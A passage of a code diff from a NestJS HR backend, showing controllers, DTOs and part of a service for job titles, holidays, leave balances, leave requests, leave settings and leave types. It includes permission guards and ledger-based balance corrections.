throw new ConflictException(`Job title code ${dto.code} already exists`);
}
return this.jobTitlesRepository.create({
...dto,
organizationId: actor.organizationId,
createdBy: actor.userId,
});
}
async update(
id: string,
dto: UpdateJobTitleDto,
actor: ActorContext,
): Promise<JobTitle> {
const title = await this.requireTitle(id, orgScope(actor));
JobTitlesService.assertBand(
dto.salaryBandMin ?? title.salaryBandMin,
dto.salaryBandMax ?? title.salaryBandMax,
);
if (dto.code && dto.code !== title.code) {
// Uniqueness is per organization, so check against the TITLE's own org —
// not the caller's. For a super admin editing another organization's
// title those differ, and using the caller's would compare against the
// wrong set of codes.
const clash = await this.jobTitlesRepository.findByCode(
title.organizationId,
dto.code,
);
if (clash) {
throw new ConflictException(`Job title code ${dto.code} already exists`);
}
}
return (await this.jobTitlesRepository.update(id, dto)) ?? title;
}
async findAll(
filters: {
search?: string;
isActive?: boolean;
page?: number;
limit?: number;
sortOrder?: "ASC" | "DESC";
},
actor: ActorContext,
): Promise<Paginated<JobTitle>> {
const [items, total] = await this.jobTitlesRepository.findPage(
orgScope(actor),
filters,
);
return paginate(items, total, filters.page ?? 1, filters.limit ?? 25);
}
findOne(id: string, actor: ActorContext): Promise<JobTitle> {
return this.requireTitle(id, orgScope(actor));
}
/**
* Removing a title that employees still hold would orphan their grade and,
* from 3.4, their salary structure. Deactivating is the supported way to
* retire one: it disappears from pickers but existing references keep resolving.
*/
async remove(id: string, actor: ActorContext): Promise<void> {
const title = await this.requireTitle(id, orgScope(actor));
const inUse = await this.jobTitlesRepository.countEmployeesUsing(title.id);
if (inUse > 0) {
throw new ConflictException(
`${inUse} employee(s) hold this job title. Deactivate it instead of deleting it.`,
);
}
await this.jobTitlesRepository.softDelete(id);
}
/** `organizationId: null` = no scoping (super admin). */
private async requireTitle(
id: string,
organizationId: string | null,
): Promise<JobTitle> {
const title = await this.jobTitlesRepository.findById(id);
if (!title || (organizationId && title.organizationId !== organizationId)) {
throw new NotFoundException(`Job title ${id} not found`);
}
return title;
}
}

View File

@@ -0,0 +1,106 @@
import {
Body,
Controller,
Delete,
Get,
HttpCode,
HttpStatus,
Param,
ParseUUIDPipe,
Patch,
Post,
Query,
} from "@nestjs/common";
import {
ApiBearerAuth,
ApiOperation,
ApiQuery,
ApiTags,
} from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../../common/hr-guards";
import { actorFrom } from "../../../common/current-actor.util";
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
import { HolidaysService } from "../services/holidays.service";
import { CreateHolidayDto, UpdateHolidayDto } from "../dto/holiday.dto";
@ApiTags("holidays")
@ApiBearerAuth()
@Controller("holidays")
@HrStaff([HR_PERMS.leave.managePublicHoliday, HR_PERMS.leave.viewOwn])
export class HolidaysController {
constructor(private readonly holidaysService: HolidaysService) {}
@Get()
@HrStaff(HR_PERMS.leave.viewOwn)
@ApiOperation({
summary: "Holidays in a range",
description:
"National holidays plus this organization's own. Defaults to the current " +
"Gregorian year.",
})
@ApiQuery({ name: "start", required: false, example: "2026-01-01" })
@ApiQuery({ name: "end", required: false, example: "2026-12-31" })
findAll(
@CurrentUser() user: TCurrentUser,
@Query("start") start?: string,
@Query("end") end?: string,
) {
return this.holidaysService.findAll({ start, end }, actorFrom(user));
}
@Get("calendar")
@HrStaff(HR_PERMS.leave.viewOwn)
@ApiOperation({
summary: "Working-day breakdown for a range",
description:
"Returns the holidays, the weekend definition, and both day counts — so a " +
"leave form can explain why five requested dates became three days, " +
"rather than just showing the number.",
})
@ApiQuery({ name: "start", required: true, example: "2026-09-01" })
@ApiQuery({ name: "end", required: true, example: "2026-09-14" })
calendar(
@CurrentUser() user: TCurrentUser,
@Query("start") start: string,
@Query("end") end: string,
) {
return this.holidaysService.calendar({ start, end }, actorFrom(user));
}
@Post()
@HrStaff(HR_PERMS.leave.managePublicHoliday)
@ApiOperation({ summary: "Add an organization holiday" })
create(@Body() dto: CreateHolidayDto, @CurrentUser() user: TCurrentUser) {
return this.holidaysService.create(dto, actorFrom(user));
}
@Patch(":id")
@HrStaff(HR_PERMS.leave.managePublicHoliday)
@ApiOperation({ summary: "Change a holiday" })
update(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: UpdateHolidayDto,
@CurrentUser() user: TCurrentUser,
) {
return this.holidaysService.update(id, dto, actorFrom(user));
}
@Delete(":id")
@HrStaff(HR_PERMS.leave.managePublicHoliday)
@HttpCode(HttpStatus.NO_CONTENT)
@ApiOperation({
summary: "Remove an organization holiday",
description:
"National holidays cannot be removed by an individual employer — set " +
"isWorkingDay on it instead if this organization works that day.",
})
remove(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.holidaysService.remove(id, actorFrom(user));
}
}

View File

@@ -0,0 +1,168 @@
import {
Body,
Controller,
ForbiddenException,
Get,
NotFoundException,
Param,
ParseUUIDPipe,
Post,
Query,
} from "@nestjs/common";
import {
ApiBearerAuth,
ApiOperation,
ApiQuery,
ApiResponse,
ApiTags,
} from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../../common/hr-guards";
import { actorFrom } from "../../../common/current-actor.util";
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
import { hasHrPermission } from "../../../common/hr-permission.util";
import { LeaveBalancesService } from "../services/leave-balances.service";
import { ELedgerEntryType } from "../entities/leave-ledger-entry.entity";
import { AdjustBalanceDto, ReverseEntryDto } from "../dto/leave-balance.dto";
@ApiTags("leave-balances")
@ApiBearerAuth()
@Controller("leave-balances")
@HrStaff([
HR_PERMS.leave.viewOwn,
HR_PERMS.leave.viewAll,
HR_PERMS.leave.manageAllocation,
])
export class LeaveBalancesController {
constructor(private readonly balances: LeaveBalancesService) {}
@Get("me")
@HrStaff(HR_PERMS.leave.viewOwn)
@ApiOperation({
summary: "My leave balances",
description:
"Balances for the leave year containing today. Entitlements are created " +
"on first read, so a new joiner sees their allowance immediately rather " +
"than waiting for a nightly job.",
})
@ApiQuery({ name: "on", required: false, description: "Defaults to today." })
async mine(@CurrentUser() user: TCurrentUser, @Query("on") on?: string) {
const actor = actorFrom(user);
if (!actor.employeeId) {
throw new ForbiddenException(
"This account has no employee record, so it holds no leave balance.",
);
}
try {
return await this.balances.balancesFor(actor.employeeId, actor, on);
} catch (error) {
// The service message is written for HR looking someone up, and quotes an
// employee id. Addressed to the person themselves that reads as a fault
// in the system rather than a step somebody still owes them.
if (error instanceof NotFoundException) {
throw new NotFoundException(
"You do not have an HR profile yet, so there is nothing to show. " +
"Ask HR to complete your onboarding.",
);
}
throw error;
}
}
@Get("employee/:employeeId")
@HrStaff(HR_PERMS.leave.viewAll)
@ApiOperation({ summary: "Another employee's leave balances" })
@ApiQuery({ name: "on", required: false })
forEmployee(
@Param("employeeId", ParseUUIDPipe) employeeId: string,
@CurrentUser() user: TCurrentUser,
@Query("on") on?: string,
) {
return this.balances.balancesFor(employeeId, actorFrom(user), on);
}
@Get(":entitlementId/ledger")
@HrStaff(HR_PERMS.leave.viewOwn)
@ApiOperation({
summary: "Every movement behind a balance",
description:
"The append-only history. This is the answer to 'why is my balance that " +
"number' — grants, carry-over, deductions, expiries and corrections, " +
"newest first.",
})
async ledger(
@Param("entitlementId", ParseUUIDPipe) entitlementId: string,
@CurrentUser() user: TCurrentUser,
) {
// Own ledger always; anyone else's needs the view-all key. Checked here
// rather than by a route guard because which rule applies depends on whose
// entitlement it is, and the guard cannot know that before loading it.
const actor = actorFrom(user);
const entries = await this.balances.ledgerFor(entitlementId);
await this.assertLedgerVisible(entitlementId, actor, user);
return entries;
}
@Post(":entitlementId/adjust")
@HrStaff(HR_PERMS.leave.manageAllocation)
@ApiOperation({
summary: "Correct a balance",
description:
"Posts a signed ADJUSTMENT entry. Nothing is overwritten and the reason " +
"is mandatory — the ledger is what an argument about a balance is settled " +
"with months later.",
})
@ApiResponse({ status: 201, description: "The entry that was posted" })
adjust(
@Param("entitlementId", ParseUUIDPipe) entitlementId: string,
@Body() dto: AdjustBalanceDto,
@CurrentUser() user: TCurrentUser,
) {
return this.balances.post(
entitlementId,
{
entryType: ELedgerEntryType.ADJUSTMENT,
days: dto.days,
effectiveOn: dto.effectiveOn ?? new Date().toISOString().slice(0, 10),
reason: dto.reason,
},
actorFrom(user),
);
}
@Post("entries/:entryId/reverse")
@HrStaff(HR_PERMS.leave.manageAllocation)
@ApiOperation({
summary: "Undo one entry",
description:
"Posts the opposite entry rather than deleting. An entry can only be " +
"reversed once — a second attempt is refused by the database, so a " +
"double-click cannot credit the days twice.",
})
reverse(
@Param("entryId", ParseUUIDPipe) entryId: string,
@Body() dto: ReverseEntryDto,
@CurrentUser() user: TCurrentUser,
) {
return this.balances.reverse(entryId, dto.reason, actorFrom(user));
}
private async assertLedgerVisible(
entitlementId: string,
actor: ReturnType<typeof actorFrom>,
user: TCurrentUser,
): Promise<void> {
if (hasHrPermission(user, HR_PERMS.leave.viewAll)) return;
const owned = await this.balances.entitlementBelongsTo(
entitlementId,
actor.employeeId,
);
if (!owned) {
throw new ForbiddenException(
"You can only see the history behind your own balances.",
);
}
}
}

View File

@@ -0,0 +1,222 @@
import {
Body,
Controller,
Get,
Param,
ParseIntPipe,
ParseUUIDPipe,
Patch,
Post,
Query,
} from "@nestjs/common";
import {
ApiBearerAuth,
ApiOperation,
ApiQuery,
ApiResponse,
ApiTags,
} from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../../common/hr-guards";
import { actorFrom } from "../../../common/current-actor.util";
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
import { LeaveRequestsService } from "../services/leave-requests.service";
import { ELeaveRequestStatus } from "../entities/leave-request.entity";
import {
CancelLeaveRequestDto,
CreateLeaveRequestDto,
DecideLeaveRequestDto,
RejectLeaveRequestDto,
} from "../dto/leave-request.dto";
@ApiTags("leave-requests")
@ApiBearerAuth()
@Controller("leave-requests")
@HrStaff([
HR_PERMS.leave.create,
HR_PERMS.leave.viewOwn,
HR_PERMS.leave.viewAll,
HR_PERMS.leave.approveL1,
HR_PERMS.leave.approveL2,
HR_PERMS.leave.cancel,
])
export class LeaveRequestsController {
constructor(private readonly requests: LeaveRequestsService) {}
@Get("quote")
@HrStaff(HR_PERMS.leave.create)
@ApiOperation({
summary: "What a range would cost, before requesting it",
description:
"Returns the working-day and calendar-day counts, which holidays fell " +
"inside the range, what would be charged and what would be left. The " +
"leave form calls this as the dates change so the number is never a " +
"surprise.",
})
@ApiQuery({ name: "employeeId", required: false })
quote(
@CurrentUser() user: TCurrentUser,
@Query("leaveTypeId", ParseUUIDPipe) leaveTypeId: string,
@Query("startDate") startDate: string,
@Query("endDate") endDate: string,
@Query("isHalfDay") isHalfDay?: string,
@Query("employeeId") employeeId?: string,
) {
const actor = actorFrom(user);
return this.requests.quote(
employeeId ?? actor.employeeId ?? "",
leaveTypeId,
startDate,
endDate,
isHalfDay === "true",
actor,
);
}
@Post()
@HrStaff(HR_PERMS.leave.create)
@ApiOperation({ summary: "Request leave" })
@ApiResponse({ status: 201, description: "Submitted, awaiting a decision" })
@ApiResponse({
status: 400,
description:
"A rule refused it — overlapping dates, insufficient balance, missing " +
"evidence, or a type the employee is not eligible for. The message says which.",
})
create(@Body() dto: CreateLeaveRequestDto, @CurrentUser() user: TCurrentUser) {
return this.requests.create(dto, actorFrom(user));
}
@Get("mine")
@HrStaff(HR_PERMS.leave.viewOwn)
@ApiOperation({ summary: "My leave requests" })
mine(
@CurrentUser() user: TCurrentUser,
@Query("status") status?: ELeaveRequestStatus,
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
) {
const actor = actorFrom(user);
return this.requests.findAll(
{ employeeId: actor.employeeId ?? "", status, page, limit },
actor,
);
}
@Get("awaiting-me")
// L1 (line manager) or L2 (HR's role grant, e.g. hr_manager) — approveL1 is
// deliberately never granted to any role/position/position-type (it is
// resolved dynamically below), so gating on it alone made this endpoint,
// and the approvals screen it feeds, unreachable by anyone but a super
// admin. An L2-only caller with no direct reports just gets an empty list.
@HrStaff([HR_PERMS.leave.approveL1, HR_PERMS.leave.approveL2])
@ApiOperation({
summary: "Requests waiting on my decision",
description:
"Submitted requests whose approver is this employee — resolved from the " +
"IAM position hierarchy, or the manager override on the HR profile.",
})
awaitingMe(
@CurrentUser() user: TCurrentUser,
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
) {
return this.requests.findAwaitingMe(actorFrom(user), page, limit);
}
@Get()
@HrStaff(HR_PERMS.leave.viewAll)
@ApiOperation({ summary: "All leave requests" })
@ApiQuery({ name: "employeeId", required: false })
@ApiQuery({ name: "status", required: false, enum: ELeaveRequestStatus })
@ApiQuery({ name: "from", required: false })
@ApiQuery({ name: "to", required: false })
findAll(
@CurrentUser() user: TCurrentUser,
@Query("employeeId") employeeId?: string,
@Query("status") status?: ELeaveRequestStatus,
@Query("leaveTypeId") leaveTypeId?: string,
@Query("from") from?: string,
@Query("to") to?: string,
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
) {
return this.requests.findAll(
{ employeeId, status, leaveTypeId, from, to, page, limit },
actorFrom(user),
);
}
@Get(":id")
@HrStaff(HR_PERMS.leave.viewOwn)
@ApiOperation({ summary: "One leave request" })
findOne(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.requests.findOne(id, actorFrom(user));
}
@Patch(":id/approve")
// L1 or L2 — see the guard on "awaiting-me" above. The service's own
// assertCanDecide() already expects an L2 holder to arrive here ("anyone
// else arriving is HR acting above the line manager — allowed").
@HrStaff([HR_PERMS.leave.approveL1, HR_PERMS.leave.approveL2])
@ApiOperation({
summary: "Approve",
description:
"Deducts the days in the same transaction. The balance is re-checked " +
"first, because other requests may have been approved since this one was " +
"submitted. Nobody can approve their own request.",
})
approve(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: DecideLeaveRequestDto,
@CurrentUser() user: TCurrentUser,
) {
return this.requests.approve(id, dto.note, actorFrom(user));
}
@Patch(":id/reject")
@HrStaff([HR_PERMS.leave.approveL1, HR_PERMS.leave.approveL2])
@ApiOperation({ summary: "Reject, with a reason" })
reject(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: RejectLeaveRequestDto,
@CurrentUser() user: TCurrentUser,
) {
return this.requests.reject(id, dto.note, actorFrom(user));
}
@Patch(":id/withdraw")
@HrStaff(HR_PERMS.leave.create)
@ApiOperation({
summary: "Withdraw before a decision",
description: "Nothing was deducted, so nothing comes back.",
})
withdraw(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.requests.withdraw(id, actorFrom(user));
}
@Patch(":id/cancel")
@HrStaff(HR_PERMS.leave.cancel)
@ApiOperation({
summary: "Cancel approved leave",
description:
"Reverses the deduction so the days return. The reversal is posted, not " +
"deleted — the balance history keeps showing that the leave was booked " +
"and then called off.",
})
cancel(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: CancelLeaveRequestDto,
@CurrentUser() user: TCurrentUser,
) {
return this.requests.cancel(id, dto.reason, actorFrom(user));
}
}

View File

@@ -0,0 +1,49 @@
import { Body, Controller, Get, Patch } from "@nestjs/common";
import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../../common/hr-guards";
import { actorFrom } from "../../../common/current-actor.util";
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
import { LeaveSettingsService } from "../services/leave-settings.service";
import { UpdateLeaveSettingsDto } from "../dto/leave-settings.dto";
@ApiTags("leave-settings")
@ApiBearerAuth()
@Controller("leave-settings")
@HrStaff([HR_PERMS.leave.manageType, HR_PERMS.leave.viewOwn])
export class LeaveSettingsController {
constructor(private readonly settingsService: LeaveSettingsService) {}
@Get()
// Readable by anyone who can request leave: the weekend definition is what
// turns their dates into a day count, so hiding it makes the number arbitrary.
@HrStaff(HR_PERMS.leave.viewOwn)
@ApiOperation({
summary: "This organization's leave policy",
description:
"Returns defaults when nothing has been configured — a row is only written " +
"once somebody changes something, so an unconfigured organization stays " +
"distinguishable from one that happens to agree with the defaults.",
})
find(@CurrentUser() user: TCurrentUser) {
return this.settingsService.find(actorFrom(user));
}
@Patch()
@HrStaff(HR_PERMS.leave.manageType)
@ApiOperation({
summary: "Change the leave policy",
description:
"Creates the row on first change. Note weekendDays: the statutory day " +
"figures assume a six-day week, so an employer working MondayFriday must " +
"set [0,6] here for the counts to mean what the statute intends.",
})
update(
@Body() dto: UpdateLeaveSettingsDto,
@CurrentUser() user: TCurrentUser,
) {
return this.settingsService.update(dto, actorFrom(user));
}
}

View File

@@ -0,0 +1,121 @@
import {
Body,
Controller,
Delete,
Get,
HttpCode,
HttpStatus,
Param,
ParseIntPipe,
ParseUUIDPipe,
Patch,
Post,
Query,
} from "@nestjs/common";
import {
ApiBearerAuth,
ApiOperation,
ApiQuery,
ApiResponse,
ApiTags,
} from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../../common/hr-guards";
import { actorFrom } from "../../../common/current-actor.util";
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
import { LeaveTypesService } from "../services/leave-types.service";
import { CreateLeaveTypeDto, UpdateLeaveTypeDto } from "../dto/leave-type.dto";
@ApiTags("leave-types")
@ApiBearerAuth()
@Controller("leave-types")
@HrStaff([HR_PERMS.leave.manageType, HR_PERMS.leave.viewOwn])
export class LeaveTypesController {
constructor(private readonly leaveTypesService: LeaveTypesService) {}
@Post()
@HrStaff(HR_PERMS.leave.manageType)
@ApiOperation({ summary: "Add a leave type" })
create(@Body() dto: CreateLeaveTypeDto, @CurrentUser() user: TCurrentUser) {
return this.leaveTypesService.create(dto, actorFrom(user));
}
@Post("seed-statutory")
@HrStaff(HR_PERMS.leave.manageType)
@HttpCode(HttpStatus.OK)
@ApiOperation({
summary: "Seed the statutory catalogue",
description:
"Creates the leave types set out in Labour Proclamation 1156/2019. " +
"Idempotent by code, and existing types are never modified — an employer " +
"who has edited a figure keeps their edit.",
})
@ApiResponse({ status: 200, description: "{ created: [], skipped: [] }" })
seed(@CurrentUser() user: TCurrentUser) {
return this.leaveTypesService.seedStatutory(actorFrom(user));
}
@Get()
// Anyone who can request leave needs the catalogue to choose from.
@HrStaff(HR_PERMS.leave.viewOwn)
@ApiOperation({ summary: "List leave types" })
@ApiQuery({ name: "search", required: false })
@ApiQuery({ name: "isActive", required: false, type: Boolean })
findAll(
@CurrentUser() user: TCurrentUser,
@Query("search") search?: string,
@Query("isActive") isActive?: string,
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
) {
return this.leaveTypesService.findAll(
{
search,
isActive: isActive === undefined ? undefined : isActive === "true",
page,
limit,
},
actorFrom(user),
);
}
@Get(":id")
@HrStaff(HR_PERMS.leave.viewOwn)
@ApiOperation({ summary: "One leave type" })
findOne(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.leaveTypesService.findOne(id, actorFrom(user));
}
@Patch(":id")
@HrStaff(HR_PERMS.leave.manageType)
@ApiOperation({ summary: "Change a leave type" })
update(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: UpdateLeaveTypeDto,
@CurrentUser() user: TCurrentUser,
) {
return this.leaveTypesService.update(id, dto, actorFrom(user));
}
@Delete(":id")
@HrStaff(HR_PERMS.leave.manageType)
@HttpCode(HttpStatus.NO_CONTENT)
@ApiOperation({
summary: "Retire a leave type",
description:
"Soft delete. Requests and balances already recorded against it keep " +
"resolving — deactivating (isActive: false) is the gentler option and " +
"removes it from pickers without touching history.",
})
remove(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.leaveTypesService.remove(id, actorFrom(user));
}
}

View File

@@ -0,0 +1,49 @@
import { ApiProperty, ApiPropertyOptional, PartialType } from "@nestjs/swagger";
import { Type } from "class-transformer";
import {
IsBoolean,
IsDateString,
IsEnum,
IsObject,
IsOptional,
ValidateNested,
} from "class-validator";
import { EHolidayType } from "../entities/holiday.entity";
import { LocalizedTextDto } from "./leave-type.dto";
export class CreateHolidayDto {
@ApiProperty({ format: "date", example: "2026-09-11" })
@IsDateString()
observedOn!: string;
@ApiProperty({ type: LocalizedTextDto })
@IsObject()
@ValidateNested()
@Type(() => LocalizedTextDto)
name!: LocalizedTextDto;
@ApiPropertyOptional({ enum: EHolidayType, default: EHolidayType.PUBLIC })
@IsOptional()
@IsEnum(EHolidayType)
holidayType?: EHolidayType;
@ApiPropertyOptional({
default: false,
description:
"True for lunar holidays whose date is not confirmed until close to the day.",
})
@IsOptional()
@IsBoolean()
isEstimated?: boolean;
@ApiPropertyOptional({
default: false,
description: "Observed but still worked — the day does not close the office.",
})
@IsOptional()
@IsBoolean()
isWorkingDay?: boolean;
}
export class UpdateHolidayDto extends PartialType(CreateHolidayDto) {}

View File

@@ -0,0 +1,52 @@
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
import {
IsDateString,
IsNumber,
IsOptional,
IsString,
MaxLength,
} from "class-validator";
import { ELedgerEntryType } from "../entities/leave-ledger-entry.entity";
export class AdjustBalanceDto {
@ApiProperty({
description:
"Signed. Positive credits days, negative removes them. Posted as an " +
"ADJUSTMENT entry — nothing is overwritten.",
example: -2.5,
})
@IsNumber()
days!: number;
@ApiProperty({
maxLength: 256,
description: "Required. An unexplained adjustment is indefensible later.",
})
@IsString()
@MaxLength(256)
reason!: string;
@ApiPropertyOptional({ format: "date", description: "Defaults to today." })
@IsOptional()
@IsDateString()
effectiveOn?: string;
}
export class ReverseEntryDto {
@ApiProperty({ maxLength: 256 })
@IsString()
@MaxLength(256)
reason!: string;
}
export class LedgerEntryResponseDto {
@ApiProperty() id!: string;
@ApiProperty({ enum: ELedgerEntryType }) entryType!: ELedgerEntryType;
@ApiProperty({ description: "Signed days." }) days!: string;
@ApiProperty({ format: "date" }) effectiveOn!: string;
@ApiPropertyOptional() reason?: string | null;
@ApiPropertyOptional() sourceType?: string | null;
@ApiPropertyOptional() sourceId?: string | null;
@ApiPropertyOptional() reversesId?: string | null;
}

View File

@@ -0,0 +1,88 @@
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
import {
IsBoolean,
IsDateString,
IsOptional,
IsString,
IsUUID,
MaxLength,
} from "class-validator";
export class CreateLeaveRequestDto {
@ApiPropertyOptional({
format: "uuid",
description:
"iam.employees.id. Omit to file for yourself; supplying someone else's " +
"is an HR action and needs a staff account.",
})
@IsOptional()
@IsUUID()
employeeId?: string;
@ApiProperty({ format: "uuid" })
@IsUUID()
leaveTypeId!: string;
@ApiProperty({ format: "date", example: "2026-09-14" })
@IsDateString()
startDate!: string;
@ApiProperty({ format: "date", example: "2026-09-18" })
@IsDateString()
endDate!: string;
@ApiPropertyOptional({
default: false,
description: "Only for a single date, and only if the type allows it.",
})
@IsOptional()
@IsBoolean()
isHalfDay?: boolean;
@ApiPropertyOptional({ maxLength: 512 })
@IsOptional()
@IsString()
@MaxLength(512)
reason?: string;
@ApiPropertyOptional({ maxLength: 64, description: "Phone number while away." })
@IsOptional()
@IsString()
@MaxLength(64)
contactDuringLeave?: string;
@ApiPropertyOptional({
format: "uuid",
description:
"hr.employee_documents.id — the medical certificate or equivalent. " +
"Required when the type demands evidence beyond a threshold.",
})
@IsOptional()
@IsUUID()
attachmentDocumentId?: string;
}
export class DecideLeaveRequestDto {
@ApiPropertyOptional({ maxLength: 512 })
@IsOptional()
@IsString()
@MaxLength(512)
note?: string;
}
export class RejectLeaveRequestDto {
@ApiProperty({
maxLength: 512,
description: "Required — a refusal without a reason is not actionable.",
})
@IsString()
@MaxLength(512)
note!: string;
}
export class CancelLeaveRequestDto {
@ApiProperty({ maxLength: 512 })
@IsString()
@MaxLength(512)
reason!: string;
}

View File

@@ -0,0 +1,74 @@
import { ApiPropertyOptional } from "@nestjs/swagger";
import {
ArrayMaxSize,
IsArray,
IsBoolean,
IsEnum,
IsInt,
IsOptional,
IsString,
Max,
MaxLength,
Min,
} from "class-validator";
import { ELeaveYearBasis } from "../entities/leave-settings.entity";
export class UpdateLeaveSettingsDto {
@ApiPropertyOptional({ enum: ELeaveYearBasis })
@IsOptional()
@IsEnum(ELeaveYearBasis)
leaveYearBasis?: ELeaveYearBasis;
@ApiPropertyOptional({ minimum: 1, maximum: 12, default: 7 })
@IsOptional()
@IsInt()
@Min(1)
@Max(12)
fiscalYearStartMonth?: number;
@ApiPropertyOptional({ minimum: 1, maximum: 31, default: 8 })
@IsOptional()
@IsInt()
@Min(1)
@Max(31)
fiscalYearStartDay?: number;
@ApiPropertyOptional({
type: [Number],
example: [0, 6],
description:
"Non-working days of the week, 0 = Sunday … 6 = Saturday. Defaults to [0], " +
"the six-day week the statutory leave figures assume. Set [0,6] for a " +
"MondayFriday employer.",
})
@IsOptional()
@IsArray()
@ArrayMaxSize(6)
@IsInt({ each: true })
@Min(0, { each: true })
@Max(6, { each: true })
weekendDays?: number[];
@ApiPropertyOptional({ minimum: 0, maximum: 24, default: 6 })
@IsOptional()
@IsInt()
@Min(0)
@Max(24)
carryOverDeadlineMonths?: number;
@ApiPropertyOptional({
default: false,
description:
"Whether a request may be approved that takes a balance below zero.",
})
@IsOptional()
@IsBoolean()
allowNegativeBalance?: boolean;
@ApiPropertyOptional({ maxLength: 64 })
@IsOptional()
@IsString()
@MaxLength(64)
statuteReference?: string;
}

Some files were not shown because too many files have changed in this diff Show More